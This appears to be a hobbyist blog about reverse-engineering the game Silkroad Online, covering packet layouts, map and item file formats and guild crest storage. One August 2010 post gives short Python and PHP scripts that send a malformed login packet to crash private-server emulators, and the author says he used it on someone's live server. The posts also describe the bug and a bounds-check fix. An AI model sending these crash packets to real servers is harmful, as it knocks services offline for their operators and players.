Showing posts with label silkroad. Show all posts
Showing posts with label silkroad. Show all posts

Thursday, August 19, 2010

Doing it right the way...hopefully?

As always I am updating my blog because of something rather sinister.

This time it because of some certain Germans I am really not satisfied with. I was writing about possible exploits in poorly written code (ie. if the coder was my employee he would already be sacked) in previous article.

It has been few days since I used this exploit on certain server...which has done exactly nothing to prevent it from happening again. I am confused about this because these people claim to be working on their own software, thus they should be experienced enough to prevent such failure...and in case they fail at it, they should be able to patch it. Quickly.

Consider following code (it is written in python again) which works as a 'smart' packet buffer reader, allowing us to read 16-bit integers (words) and string of length indicated by a word. It is only excerpt, original code does much more.

class reader:
 def sword(self):
  return struct.unpack('H', self.bytes(2))[0]

 def ascii(self):
  count = self.sword()
  return self.bytes(count) 

 def bytes(self, count):
  return self.buffer[self.offset:self.move(count)]

 def move(self, by):
  self.offset += by
  return self.offset

Notice the red section. There is a mistake, target of our exploitation. The move function merely adds value (arg: by) to current offset without checking validity of position.

Consider this simple solution...which works, remarkably.
def move(self, by):
  self.offset += by
  if self.offset >= self.length
   raise IndexError

  return self.offset

That much to securing your own code, dummies...

 


Update (as of 20-08-2010): As it became obvious, the emulator that was public (and crashed many times) was actually sremu (which explains the resemblance). Hopefully creators of the sunrise are not that much dummy after all. We shall see in near future.

Tuesday, August 17, 2010

Exploitable? No way!

Are you running some kind of csremu/vbsremu/dsremu/iamsogaysremu? Are you sure that your favourite piece of emulation software is working properly? Is it parsing data properly, checking for possible reading over buffer bounds? Most emulators fail at this. And they fail pretty hard, resulting in crashes and/or possible exploitation and injected code execution.

If you are using interpreted language such as vb6 or c#.net the latter possibility is quite unlikely to happen, however be ready to face out-of-bounds exceptions. Look at this extremely short script, written in python, which is able to crash certain badly written server with a single packet.

import socket
import struct

sockie = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sockie.connect(('server.ip', 15779))
sockie.send(struct.pack('HHHBHHH', 9, 0x6102, 0, 0, 0xffff, 0xffff, 1337));
sockie.close()

How does it work? Script assumes that server is that bad written that it does not keep any state of connection and only responds to packets based on their op-codes. This slightly speeds the process up because it can avoid sending 'unnecessary' packets (such as handshake confirmation or patch information). This, however, rapidly reduces number of exploitable packets (in the gateway communication, there are at least 3 of them).

This exploit lays in login packet, which is supposed to look somehow like this:
short length
short opcode
short security

byte  method
short length
byte+ username
short length
byte+ password
short serverid

Now what does it mean? There is length, opcode, security - that makes for a cute packet header. Nothing really exploitable in there (well not directly).

Then, there is the data part - login method, username, password and server id. Look carefully at the username and password fields. In packets, they are stored as a short (16 bit) integer. Their value specifies how long the username is.

Now, what if the value indicated is longer than remaining buffer? There we get our exploit. This causes the long sought out-of-bounds exception. And that is what that little python script does.

Same exploit is possible with client identification (0x2001) and patch information (0x6100) where SR_Client string is sent in exactly same manner.

Happy bugfixing!


Update (as of 19-08-2010): same code should look like this in php:
<?php
 fwrite(fsockopen("server.ip", 15779, null, null, 1.0), "\x07\x00\x02\x61\x00\x00\x00\xff\xff\xff\xff\xff\xff");
?>

Saturday, November 21, 2009

Running down a little

So yes, so it seems. Really. Or does not? Whoever knows, tell me. With disjointed (right word for it...I hope) ankle, it is hard to walk; fortunately there is no snow/ice yet. Good global warming, and these bastards want to stop it. Gosh, I hope they are going to melt down in acid some day. Or in their lies. Whatever.

I had some hard school, some hard times - every lesson we have is in different classroom which is always on different level of our school building → total, legendary awesomeness. No I am not lying, I mean it. Honestly.

It also means that I worked only a little on actual esro-related projects, I have also had little affair with Dragon Age: Origins (which caused some school-related hardships, you see).



However I have found some time to work on something more or less related to esro project, I started to learn Managed DirectX basics, means DirectX implementation in .NET, respectively in C#.NET which I prefer to other .NET languages, although Visual Basic is barely a language (at least I do not consider it being language at all).

So, I made some advances in no time - advances from knowing nothing - and I have to admit that I really like DirectX API, it is not like OpenGL, it is OOP and it works well. Lets fry platform compatibility.

Some may also wonder, why C#.NET? Was not I C/C++ maniac? I still am, however I am going to use DirectX in my school project - and unfortunately C is not something we are taught, so I can hardly use it (and no one will understand C; it is gonna be like: "where are classes? I cant see any classes - you have failed"). Also, this C# thing is fast, I mean developement is fast and easy. One point for Microsoft.

I only miss pointers and pointer operations; I also can not fill-in structures directly, as I used to in C. Code like fread(structure_ptr, 1, sizeof(*structure_ptr), file_ptr); will not simply work. Creepy.

But I got over it, resigned, I will just have to reimplement some BinaryReader and BinaryWriter classes, create some own Silkroad.Map class. Should be easy.

And for these of you, who are eager to some progress, there goes one screenshot of my DirectX Testing project.

Saturday, October 31, 2009

Project continues

I have not written a thing since school started - I had too much to do. I attended to Driving classes, to University classes and my little bloggie became the last important thing in my life.

However with less effort I still continue on working on Silkroad (ESRO) things. I have done some additional research of Topography maps, discovered few interesting things. Looked into surfaces, did another discovery. Good for me.

Topography
This time I am not going to describe format or anything. It is already described in previous post (however it is little wrong down there). And it should be easy to understand and correct from following mapan output.
Screenshots
Some screenies from research (done on CSRO since ESRO server is not online yet).




Analysis (partial)
(Doubt anyone is interested though)

<HEADs data>
00 00 00 00 00 00

<CELLs list>
< 95.254616> [  9] 0|0|0|0|0|0 151
< 95.150909> [  9] 0|0|0|0|0|0   0
< 94.895622> [  9] 0|0|0|0|0|0  48
< 39.814507> [  9] 0|0|0|0|0|0 173
< 34.398918> [  9] 0|0|0|0|0|0 255
< 31.741215> [  9] 0|0|0|0|0|0 253
< 30.212603> [  9] 0|0|0|0|0|0 147
< 29.142269> [  9] 0|0|0|0|0|0 147
< 27.314711> [  9] 0|0|0|0|0|0   0
< 28.980433> [ 10] 0|0|0|0|1|0 102 F4
< 57.589970> [ 10] 0|0|0|0|1|0 119 F4
< 99.747597> [ 10] 0|0|0|0|1|0 135 F4
<111.529999> [ 10] 0|0|0|0|1|0 126 F4
<112.705101> [ 10] 0|0|0|0|1|0 148 F4
<110.057098> [ 10] 0|0|0|0|1|0 149 F4
<107.895660> [ 10] 0|0|0|0|1|0 151 F4
<102.116287> [177] 0|0|0|1|0|0 153 F3

... too long → omitted data ...

< 84.616913> [  7] 0|0|0|0|0|0  71
< 86.001633> [  7] 0|0|0|0|0|0  72
< 87.746216> [  7] 0|0|0|0|0|0   0
< 87.350670> [ 10] 0|0|0|0|1|0   0 F4
< 87.209175> [ 10] 0|0|0|0|1|0 174 F4
< 15.944324> [ 10] 0|0|0|0|1|0 173 F4
< 12.501476> [ 10] 0|0|0|0|1|0 146 F4
< 10.208254> [ 10] 0|0|0|0|1|0 149 F4
<  8.148597> [ 10] 0|0|0|0|1|0 146 F4
<  7.875810> [  9] 0|0|0|0|0|0 145
< 10.152893> [  9] 0|0|0|0|0|0 145
< 11.087356> [  9] 0|0|0|0|0|0 145
< 12.417652> [  9] 0|0|0|0|0|0 145
< 10.967405> [  9] 0|0|0|0|0|0 149
<  8.922949> [  9] 0|0|0|0|0|0  41
<  9.426557> [  9] 0|0|0|0|0|0 124
< 24.530247> [  2] 0|0|0|0|0|0  36


<DATAs head>
00 03 00 00 48 42

<DATAs body>
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 04 01 04 01 04 00 04 00 04 00 04
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 04 01 04 01 04 01 04 01 04 01 04
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 00 04 01 04 01 04 00 04 00 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 01 04 00 04 00 04 00 04 00 04 00 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 01 04 01 04 01 04 00 04 00 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 01 04 01 04 01 04 01 04 01 04 01 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 01 04 01 04 00 04 01 04 00 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 00 04 01 04 00 04 01 04 00 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 01 04 00 04 01 04 00 04
00 00 00 00 00 00 00 00 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04
00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04
00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04
00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04 00 04

<DATAs more>
a3 4c 10 43 c1 79 ad c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Saturday, July 18, 2009

Int. Silkroad CREST system revealed

Well we have revealed in it night - I have to express my thanks to Callum for borrowing me iSRO account and Rafa for packet and listening to me on MSN: "Thanks you very much!"

Basics

  • ISRO does not use FTP, they use plain HTTP server for crest storing
  • ISRO crest server does not have +Indexes (enabled directory listing), so you will always get, to following lovley message when trying to list crests. Wicked, is not it?
    디렉터리 나열이 거부되었습니다.
    이 가상 디렉터리에서는 콘텐트를 나열할 수 없습니다.
    In English (translated by great Google Translator) it says:
    Directory listing denied.
    This virtual directory can list the content.
  • ISRO crest naming convention is same as in Chinese/Korean version
Packets
We (they, since I am not working directly on server emulator) had some unknown data in one of their packets. Here comes described data part of packet.
Size    Type            Name            Description
---------------------------------------------------
1 char flag ?
4 long guildId ID of guild
varies scstr guildName Name of guild
4 long crestIndex Index of crest
Example with some actual data (packet was caught on Uranus server).
Name                    Value
---------------------------------------------------
flag 01
guildId 71 0B 00 00
guildName 0B 00 44 69 76 69 6E 65 45 6C 69 74 65
crestIndex 03 00 00 00
Getting crest
Now, that we know structure of packet, we can assume how client gets crest from its (crest) server - no matter, whether it uses FTP or HTTP based storage.

However I have described structure of crest name in my Silkroad CREST project post, I will write it here again.
Name                    Description
---------------------------------------------------
type Type of crest (Aliance, Guild)
serverId ID of server
guildId ID of guild
crestIndex Index of crest
Knowing this, we will rebuild name of this actual guild's crest (using data from packet example and knowledge of Uranus server I).
Name                    Value
---------------------------------------------------
type G
serverId 187
guildId 2929
crestIndex 3

Which takes us to name G187_2929_3.crb - easy, is not it?
Now, if we want (of course we want) to download this crest from ISRO, we have to use following url.
http://gdmark.joymax.com:15080/SRO_CREST/G187_2929_3.crb
Extra
As bonus, I give you list of servers with their IDs.
ServerId                ServerName
---------------------------------------------------
65  Xian
74  Aege
76  Troy
94  Athens
96  Oasis
102 Venice
107 Greece
113 Alps
114 Olympus
132 Tibet
134 Babel
150 RedSea
151 Rome
152 Sparta
156 Eldorado
159 Pacific
162 Alexander
165 Persia
166 Zeus
174 Poseidon
178 Hercules
179 Odin
180 Mercury
181 Mars
182 Saturn
183 Venus
187 Uranus
188 Pluto
190 Neptune
191 Hera (New)
194 Gaia (New)
204 Eos (New)
205 Phoenix (New)
206 Ares (New)
207 Iris (New)
208 Titan (New)
209 Apollo (New)
Cheers!

Friday, July 17, 2009

Silkroad maps (SMViewer) project


Hereby, I am announcing it as my new project. I am going to use VC++ and DirectX (9.x), so project wont be Mac/Linux portable.

I have many reasons why I am doing this; one of them is that I would like to make IntroScript editor.

Surface map file (.m)
Brief description of m-map file, which contains surface height and surface texture mapping (with rendering options and brightness).

Header
Size    Type            Name            Description
---------------------------------------------------
8 char type File format type
4 char version Version of file format type
Content
Map block
  • Each map block contains header with unknown meaning.
  • Each map block contains data block with unknown meaning.
  • Each map block contains 17x17 grid of cells.
Size    Type            Name            Description
---------------------------------------------------
6 char header Header, unknown meaning
2023 - - Cells
546 char unknown Unknown data block
Map cell
  • Water begins on level 0.
Size    Type            Name            Description
---------------------------------------------------
4 float height Height of map cell
10b surfaceId Surface texture ID
1b flag_6
1b flag_5
1b flag_4
1b flag_3
1b flag_2
1b flag_1
1 char light Lightness of texture
VC++ notation
struct MBlock
{
        unsigned char header[6];
        MCell grid[17][17];
        unsigned char unknown[546];
};


struct MCell
{
        float height;
        unsigned short surfaceId : 10;
        unsigned short flag_6 : 1;
        unsigned short flag_5 : 1;
        unsigned short flag_4 : 1;
        unsigned short flag_3 : 1;
        unsigned short flag_2 : 1;
        unsigned short flag_1 : 1;
        unsigned char light;
};


Object map file (.o)
Brief description of o-map file, which maps objects into world.

Content
Group
Size    Type            Name            Description
---------------------------------------------------
2 short objectCount Amount of objects in group
Block
Size    Type            Name            Description
---------------------------------------------------
4 long objectId Object model ID
4 float positionX X coord (from left bottom corner of region)
4 float positionY Y coord
4 float positionZ Z coord
2 short unknown 0xffff or 0x0000
4 float theta Angle on Axis Y
4 long unique Unique id of object, if same, object is not shown
2 short unknown 0x0000 or 0x0001
1 char regionX X of region to be used as offset
1 char regionY Y of region to be used as offset
VC++ notation
struct OGroup
{
unsigned short objectCount;
};

struct OBlock
{
unsigned int objectId;
float positionX;
float positionY;
float positionZ;
unsigned short unknown_1;
float theta;
unsigned int unique;
unsigned short unknown_2;
unsigned char regionX;
unsigned char regionY;
};

Silkroad textdata/itemdata project

Silkroad saves information about game objects in text form - "CSV" (though it is separated by TABs, not by commas).

Textdata/Itemdata


Itemdata database cosists of 160 columns, which hold different values. (Why else would there be 160 columns, if they had same values, eh?)
Some columns are not described; that is because I am working on this in my spare time.

Columns description
A  # ?
B # identificator
C # resource identificator
D # chinese name
E # resource identificator (pair)
F # resource identificator (name)
G # resource identificator (desc)
H # ? mall flag (sellable)
I #
J #
K # ? {1 = equip; 2 = pets; 3 = etc}
L # item type
M # item subtype
N # ?
O # race {0 = china; 1 = euro; 3 = universal}
P # item bonus {0 = none; 2 = sox}
Q #
R #
S #
T # flags { 0 = not storable; 1 = not storable; 128; 196; 255 }
U # 0 = trade items; 1 = mall, 3 = rest
V #
W #
X #
Y # 0, 1, 129
Z #
AA # price buy
AB # ? price repair
AC # ? price repair broken
AD # ?
AE # ?
AF # price sell
AG # requirements (1 = level requirement, 513 etc. are skill mastery reqs)
AH # requirements (pair; value)
AI #
AJ #
AK #
AL #
AM #
AN #
AO #
AP #
AQ #
AR #
AS #
AT #
AU #
AV #
AW #
AX #
AY #
AZ #
BA # urn of BSR - equipped
BB # urn of BSR - world
BC # urn of DDJ - icon
BD #
BE #
BF # stacking amount
BG # gender {0 = woman; 1 = man; 2 = unisex}
BH #
BI #
BJ # grade - ceil(grade/3)
BK #
BL # min. durability
BM # max. durability
BN # min. phy def
BO # max. phy def
BP # +val phy def
BQ # min. parry
BR # max. parry
BS # ?
BT # min. phy absorption
BU # max. phy absorption
BV # ? +val phy absorption
BW # min. block
BX # max. block
BY # min. mag def
BZ # max. mag def
CA # +val mag def
CB # min. mag absorption
CC # max. mag absorption
CD # ? +val mag absorption
CE # min. phy reinforce
CF # max. phy reinforce
CG # min. mag reinforce
CH # max. mag reinforce
CI # ?
CJ # ?
CK # ?
CL # ?
CM # ?
CN # ?
CO # ?
CP # ?
CQ # range x10
CR # min. phy attack (min. range)
CS # min. phy attack (max. range)
CT # max. phy attack (min. range)
CU # max. phy attack (max. range)
CV # +val phy attack
CW # min. mag attack (min. range)
CX # min. mag attack (max. range)
CY # max. mag attack (min. range)
CZ # max. mag attack (max. range)
DA # +val mag attack
DB # min. phy reinforce (min. range)
DC # min. phy reinforce (max. range)
DD # max. phy reinforce (min. range)
DE # max. phy reinforce (max. range)
DF # min. mag reinforce (min. range)
DG # min. mag reinforce (max. range)
DH # max. mag reinforce (min. range)
DI # max. mag reinforce (max. range)
DJ # min. attack rating
DK # max. attack rating
DL # ?
DM # min. critical
DN # max. critical
DO # hp recover amount
DP # - chinese
DQ # hp recover percent
DR # - chinese
DS # mp recover amount
DT # - chinese
DU # mp recover percent
DV # - chinese
DW #
DX #
DY #
DZ #
EA #
EB #
EC #
ED #
EE #
EF #
EG #
EH #
EI #
EJ #
EK #
EL #
EM #
EN #
EO #
EP #
EQ #
ER #
ES #
ET #
EU #
EV #
EW #
EX #
EY #
EZ #
FA #
FB #
FC # magical options unit count
FD #
Note: Columns AG-AW contain requirements (such as certain skill level, etc.). These columns are paired. Example and description shall be supplemented.

Silkroad CREST project

One night, I was thinking: "How does the emblem system work?". I could not sleep so I started to fiddle with Silkroad client and started off this this project.

Basics

Silkroad stores guild/union crests on stand-alone FTP server. There is no obvious reason for this implementation and I do not understand why they have done it in this way.

Another weird fact is that files are kept in single directory which makes it really difficult to load (takes long).
Following example shows list of some files from crest storage.
A10_1363_2.crb
A10_1363_3.crb
G90_350_5.crb
G90_350_6.crb
File naming
A10_1363_2.crb
File name written above can be split into these parts:
Name                    Description
---------------------------------------------------
type                    Type of crest (Aliance, Guild)
serverId                ID of server
guildId                 ID of guild
crestIndex              Index of crest
File data
Silkroad uses 16x16 pixel big 8bpp bitmaps with static color palette and no compression. Thus, stored crests on FTP server are 256B big.

Once you know this, it is simple to rebuild "original" bitmap from crest file.
You only need basic knowledge of BMP structure. BMP is composed of 4 logical parts, as is shown below:
header
meta
palette
bitmap (crest file content)
Crest file contains bitmap part of BMP. Since header, meta and palette are static, it is easy to rebuild bitmap:
static part (header, meta, palette)
dynamic part (bitmap)
Issues
  1. FTP server is damn slow
  2. Requests timeout on some occasions
Results
  1. Crest downloader & converter (running)
  2. Some crests from Korean Silkroad.